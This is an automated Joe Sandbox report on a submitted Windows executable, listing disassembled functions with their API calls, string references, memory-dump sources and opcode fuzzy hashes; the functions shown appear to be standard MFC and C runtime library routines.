Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu
String ID:
API String ID: 2596413745-3916222277
Opcode ID: 570439933a1f319fde7bfb3e8c61f190201eae6d5acc9754518f2f5729fa7a47
Instruction ID: 0d6f9ecc143259180f96a21dbcd0bf36dcd83b506795b2bb56614b56ad416b1c
Opcode Fuzzy Hash: 570439933a1f319fde7bfb3e8c61f190201eae6d5acc9754518f2f5729fa7a47
Instruction Fuzzy Hash: 16213E71F002159FEB10CFB9EC85AAE7BB5EB44301F40053BE500EB291DA749545C794

Function 0040BCE2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040BCE7

Strings

4C, xrefs: 0040BDAC
TC, xrefs: 0040BDB8
hC, xrefs: 0040BDC9

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: H_prolog
String ID: 4C$TC$hC
API String ID: 3519838083-3679543769
Opcode ID: 6afed17d75f7f19130cad6cc9927d4617893c8389d2f54df1ee85911ac5e8f29
Instruction ID: 9a0aca956e13d3f40c7eff973b07ae7f3d28aa8e56d2adae96ddab1538bd35f0
Opcode Fuzzy Hash: 6afed17d75f7f19130cad6cc9927d4617893c8389d2f54df1ee85911ac5e8f29
Instruction Fuzzy Hash: D831AEB0901B448FD324CF6AC55579AFBE8BFA4308F009A1FD1EA97660C7B86548CF59

Function 0041BC0C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041BC11

Strings

ios_base::badbit set, xrefs: 0041BC43
ios_base::failbit set, xrefs: 0041BC77
ios_base::eofbit set, xrefs: 0041BC8D

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: H_prolog
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3519838083-1866435925
Opcode ID: e1ee01469c0e13428d3df627346f863c2c2c07cf1eaebd9726a8b87e83a413b8
Instruction ID: ade85976828e3d0575b485422f14fa1a4d307c6e90aafc8175f67c845a6277e5
Opcode Fuzzy Hash: e1ee01469c0e13428d3df627346f863c2c2c07cf1eaebd9726a8b87e83a413b8
Instruction Fuzzy Hash: B61136719402089AD714EFE1CA92BDDB774EF04308F64902FA54567282EB7D6A85CB8C

Function 0041C4F7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041C4FC
int.LIBCPMT ref: 0041C522
std::locale::facet::_Incref.LIBCPMT ref: 0041C573

Strings

bad cast, xrefs: 0041C54D

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: H_prologIncrefstd::locale::facet::_
String ID: bad cast
API String ID: 931760182-3145022300
Opcode ID: 290d518eec50fe1289dc1a0e10ba9f74f951f3f8ce5a6758bf498ef8c1fa942f
Instruction ID: 133a5817c143689152e06119c2ce411d04637f97aac18120fb756b8f5cb4bf46
Opcode Fuzzy Hash: 290d518eec50fe1289dc1a0e10ba9f74f951f3f8ce5a6758bf498ef8c1fa942f
Instruction Fuzzy Hash: 0211A3B1E40224A7CB05EBA5CD41AEEB325AF84328F54022FF421A72C1CF3C9A45C799

Function 0041C948 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041C94D
int.LIBCPMT ref: 0041C971

Part of subcall function 0041C9EC: __EH_prolog.LIBCMT ref: 0041C9F1

std::locale::facet::_Incref.LIBCPMT ref: 0041C9C4

Part of subcall function 0040E342: RaiseException.KERNEL32(?,?,?,?,0043F1A0,00000000), ref: 0040E370

Strings

bad cast, xrefs: 0041C99B

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: H_prolog$ExceptionIncrefRaisestd::locale::facet::_
String ID: bad cast
API String ID: 854657108-3145022300
Opcode ID: bd94b3fcc8be1ba825f3ac1fe391770fd2c7786acee73afc308fbf7023a4f06d
Instruction ID: e7bd6d74a278fbe87ccbf35d9b5790177d99eb31d3876a67708471b84b454a11
Opcode Fuzzy Hash: bd94b3fcc8be1ba825f3ac1fe391770fd2c7786acee73afc308fbf7023a4f06d
Instruction Fuzzy Hash: EC1173B2E4011497CF14EBA5D842BEE7334AF44368F50062FF421B72D1CB3C99448798

Function 004282DC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 004282FE
PathFindExtensionA.SHLWAPI(?), ref: 00428315
lstrcpyA.KERNEL32(00000000,?), ref: 0042833F

Part of subcall function 00427FF6: GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00428019
Part of subcall function 00427FF6: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 00428024
Part of subcall function 00427FF6: ConvertDefaultLocale.KERNEL32(?), ref: 00428055
Part of subcall function 00427FF6: ConvertDefaultLocale.KERNEL32(?), ref: 0042805D
Part of subcall function 00427FF6: GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 0042806A
Part of subcall function 00427FF6: ConvertDefaultLocale.KERNEL32(?), ref: 00428084
Part of subcall function 00427FF6: ConvertDefaultLocale.KERNEL32(000003FF), ref: 0042808A

Strings

%s.dll, xrefs: 0042831B

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ConvertDefaultLocale$AddressModuleProc$ExtensionFileFindHandleNamePathlstrcpy
String ID: %s.dll
API String ID: 4178508759-3668843792
Opcode ID: 85535ec0e5e890c2202cf6ef6c4d9fe4ba616bd64fcc6351fedbe745838c2431
Instruction ID: aeac6e575d03eafd3f6c487df0eb32fa97cf7b4fa9cce637b04c964ddecc85eb
Opcode Fuzzy Hash: 85535ec0e5e890c2202cf6ef6c4d9fe4ba616bd64fcc6351fedbe745838c2431
Instruction Fuzzy Hash: E101DD72F001189BCF15DBA5EC859DF77BCFB4C344F4408BEA606E3140DAB95A458B55

Function 0040BEF2 Relevance: 6.2, APIs: 4, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040BEF7
VariantClear.OLEAUT32(?), ref: 0040BFAD
CoTaskMemFree.OLE32(?), ref: 0040C05A
CoTaskMemFree.OLE32(?), ref: 0040C068

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: FreeTask$ClearH_prologVariant
String ID:
API String ID: 82050969-0
Opcode ID: aa54fe472d68a3241bf7ad01d18b909729e7cebb57c0b9826251c15e0844cbce
Instruction ID: aff64e16e21245f6878e9bb53209405c6384404d08c4ae572c20ba40f5270c01
Opcode Fuzzy Hash: aa54fe472d68a3241bf7ad01d18b909729e7cebb57c0b9826251c15e0844cbce
Instruction Fuzzy Hash: 1371F271A00602DFCB20DFA5C98486AB3B6FF48308754097EE556E76A1CB39AC41CB58

Function 021F21A0 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 021F21F9
SetLastError.KERNEL32(0000007E), ref: 021F223B

Memory Dump Source

Source File: 00000000.00000002.2113850461.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21f1000_ExeFile (233).jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: ff59f180f2ff5cb673f7b2b59e0467fe8b0b4757ef12f2a658b9fe6ad8965073
Instruction ID: ed2ad3fd605c8234a36f3e1cf64749aa27c312f71796c8891f58c6c121c656e3
Opcode Fuzzy Hash: ff59f180f2ff5cb673f7b2b59e0467fe8b0b4757ef12f2a658b9fe6ad8965073
Instruction Fuzzy Hash: 8481BBB4A40209DFDB44DF94C894BAEB7B1FF48314F158198E929AB355C734EA81CF91

Function 00419D07 Relevance: 6.2, APIs: 4, Instructions: 167fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,00000000,?,00000000,?,?,?), ref: 00419D81
GetLastError.KERNEL32(?,?,?), ref: 00419D8B
ReadFile.KERNEL32(?,?,00000001,?,00000000,?,?,?), ref: 00419E54
GetLastError.KERNEL32(?,?,?), ref: 00419E5E

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 5231f9cba8860c89ca05e19dafb1a2c24a41461642442fb6cf506ca3b38b4cc7
Instruction ID: b56e1250b5eeb3e03af337cf5b8aade3a6d5dc35aadc41e3464ab86f92864a86
Opcode Fuzzy Hash: 5231f9cba8860c89ca05e19dafb1a2c24a41461642442fb6cf506ca3b38b4cc7
Instruction Fuzzy Hash: B26191706043859FDF21CF58C894BEA7BE4AF11304F1845ABE8518B2D1D378DD95CB5A

Function 0040BAD2 Relevance: 6.2, APIs: 4, Instructions: 165windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040BAF0
GetDesktopWindow.USER32 ref: 0040BB03
GetWindowRect.USER32(?,?), ref: 0040BB16
GetWindowRect.USER32(?,?), ref: 0040BB23

Part of subcall function 00423D5B: MoveWindow.USER32(?,?,?,00000000,?,00000000,?,0040BC64,?,?), ref: 00423D76

Part of subcall function 00423D99: ShowWindow.USER32(?,?,0040BC6D,00000000,?,?), ref: 00423DA6

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Window$Rect$DesktopMoveShowVisible
String ID:
API String ID: 3835705305-0
Opcode ID: 02730a8dcdf5586f36da1b8026ee27db7f50392f629d12665f502e7a90036cb3
Instruction ID: 0b392027358f973cf9a87025e36c0637855173732e828471bea61ad1e95020aa
Opcode Fuzzy Hash: 02730a8dcdf5586f36da1b8026ee27db7f50392f629d12665f502e7a90036cb3
Instruction Fuzzy Hash: 51510C75A0020AEFDB00DFA9D998CAEB7B9EF48705B14446DF501E7254CB39EE01CB64

Function 00415FCF Relevance: 6.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 00416043
_strlen.LIBCMT ref: 0041608B
_strcspn.LIBCMT ref: 004160AB
_strncpy.LIBCMT ref: 004160CB

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: _strcspn_strlen_strncpy_strpbrk
String ID:
API String ID: 635841138-0
Opcode ID: 4acd2b3da59a346ea89797bb7e0e1b5f04a14f124cc7c14e013e1c037170ab40
Instruction ID: 44dc5c145c95b46dcc10438fb611d3ac7f676edd126e77a362cf6d6368d72d10
Opcode Fuzzy Hash: 4acd2b3da59a346ea89797bb7e0e1b5f04a14f124cc7c14e013e1c037170ab40
Instruction Fuzzy Hash: 90510B76D0421AAADF21DBA59C816FF77A8AB44348F26042FD511A3243E77CCDC1C799

Function 00416F27 Relevance: 6.1, APIs: 4, Instructions: 145fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,?,?,00000001), ref: 0041700F

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 96b8e6bb5318c80f56763d940f7dc6e0f4e8b6228f9512b9e20a3a71bbbea6aa
Instruction ID: 6123c53501c71611ec199f00bb1904ad0936d21d6721be59c225a486e99e16bd
Opcode Fuzzy Hash: 96b8e6bb5318c80f56763d940f7dc6e0f4e8b6228f9512b9e20a3a71bbbea6aa
Instruction Fuzzy Hash: F2514E71904348DFDB32CFA9D880AEDBBB8FF49304F21416AE855AB252D7349A81CF15

Function 00425954 Relevance: 6.1, APIs: 4, Instructions: 115stringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32 ref: 00425978
lstrlenA.KERNEL32(?), ref: 004259BC

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: GlobalLocklstrlen
String ID:
API String ID: 1144527523-0
Opcode ID: 8169b16f82f0868695eb299ef13228d82f00ca6112b92c9d85447b5b163038f3
Instruction ID: 40d86c0513ae9d415dd9e2a43e2b1b87c3bf4c07422c7a4737d8b13f56130937
Opcode Fuzzy Hash: 8169b16f82f0868695eb299ef13228d82f00ca6112b92c9d85447b5b163038f3
Instruction Fuzzy Hash: 5B41D772A00619EFCB14DFB5D88589EBB78FF04314B50823AE416D7295D7389986CF94

Function 00424236 Relevance: 6.1, APIs: 4, Instructions: 103windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 0042426A
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 004242CF
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 00424314
SendMessageA.USER32(?,000000F1,00000000,00000000), ref: 0042433D

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 578cd5156323f8e4839ee2b7b2deaaf76e5d6958570f61373f7fb0b6f96745cb
Instruction ID: 97a3aa0f2093d80d9ab1d2ca581497d8a10018e442b15fa7111c8de2717619ad
Opcode Fuzzy Hash: 578cd5156323f8e4839ee2b7b2deaaf76e5d6958570f61373f7fb0b6f96745cb
Instruction Fuzzy Hash: D2319230701128EBCB25DF56D880EAF7BA9EF81390F90406BF9059B251DA38DD81DBE4

Function 00424DE6 Relevance: 6.1, APIs: 4, Instructions: 103stringtimeCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000104), ref: 00424E11
GetFileTime.KERNEL32(?,?,?,?), ref: 00424E33
GetFileSize.KERNEL32(?,00000000), ref: 00424E41
GetFileAttributesA.KERNEL32(?), ref: 00424E6B

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: File$AttributesSizeTimelstrcpyn
String ID:
API String ID: 1499663573-0
Opcode ID: f16e3736775d2ddd2b90047da77ffea6f1390e20ccceb3cacd56e450c912fe4a
Instruction ID: 10b0ca20b6ba7935ce24b692c837ef30e80ac275a2c3b5174e3ec32f6528bdd3
Opcode Fuzzy Hash: f16e3736775d2ddd2b90047da77ffea6f1390e20ccceb3cacd56e450c912fe4a
Instruction Fuzzy Hash: F6415B71600615DFD724DF64D880CABBBF8FB493247508A2EE1AAD7690E734F905CB68

Function 004097DD Relevance: 6.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00409850
SysFreeString.OLEAUT32(?), ref: 004098BF
SysFreeString.OLEAUT32(?), ref: 004098C9
SysFreeString.OLEAUT32(?), ref: 004098D3

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: FreeString$ClearVariant
String ID:
API String ID: 3349467263-0
Opcode ID: de6ed19b4d79ffda526f10128478d59beb7b2d2a8770046cbd51498ef92bede6
Instruction ID: 9b7dfb74d6b775aa84bb56406a04f63d893804085adcf5f2a56aebc11390cad7
Opcode Fuzzy Hash: de6ed19b4d79ffda526f10128478d59beb7b2d2a8770046cbd51498ef92bede6
Instruction Fuzzy Hash: 4C314872A11219EFCB10EFA5C884ADEBB78BF09710F10812BF519A7281C774A944CBA4

Function 0041AE68 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

Part of subcall function 0040E573: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040E58D
Part of subcall function 0040E573: GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 0040E59E
Part of subcall function 0040E573: VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 0040E5E4

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000004,00000190,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018), ref: 0041AEAB
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,?,00000000,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018), ref: 0041AEC8
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,?,?,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018), ref: 0041AF3E
CompareStringW.KERNEL32(?,?,00000190,00000000,?,00000000,?,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?), ref: 0041AF54

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ByteCharMultiWide$QueryVirtual$CompareInfoStringSystem
String ID:
API String ID: 1997773198-0
Opcode ID: 2f5a63cc3d85905ba8ff51249218b259c6c2d120b32e42e249fa9abd3c0fdf1d
Instruction ID: 5cd4ba0b02cff2006dfa041284cb0cbfb60364f479d6c6401c1f379f8f18e737
Opcode Fuzzy Hash: 2f5a63cc3d85905ba8ff51249218b259c6c2d120b32e42e249fa9abd3c0fdf1d
Instruction Fuzzy Hash: D031BE71801218EBCF219FA2DC49BDE7B76FF08754F24012AF815A61A0D73889A2DB55

Function 00412792 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

___initmbctable.LIBCMT ref: 0041279F
_strlen.LIBCMT ref: 004127B8
_strlen.LIBCMT ref: 004127F1
_strcat.LIBCMT ref: 0041280E

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: _strlen$___initmbctable_strcat
String ID:
API String ID: 109824703-0
Opcode ID: b85dc8cf1279c79c59f8bd1564ee49a33527450fdaabd89fe6a56b01cf1f63b2
Instruction ID: c412b2b7f8df5d4b9f6b2b75421172ecb2d2693661a7d437f8156438054eadb6
Opcode Fuzzy Hash: b85dc8cf1279c79c59f8bd1564ee49a33527450fdaabd89fe6a56b01cf1f63b2
Instruction Fuzzy Hash: 631127728081016ED7207F65AD405A77785EB313347240A3FE091932E2DA7C18E6C66C

Function 00409432 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00409437
GetDC.USER32(?), ref: 00409470
CreateRectRgnIndirect.GDI32(?), ref: 004094B3

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

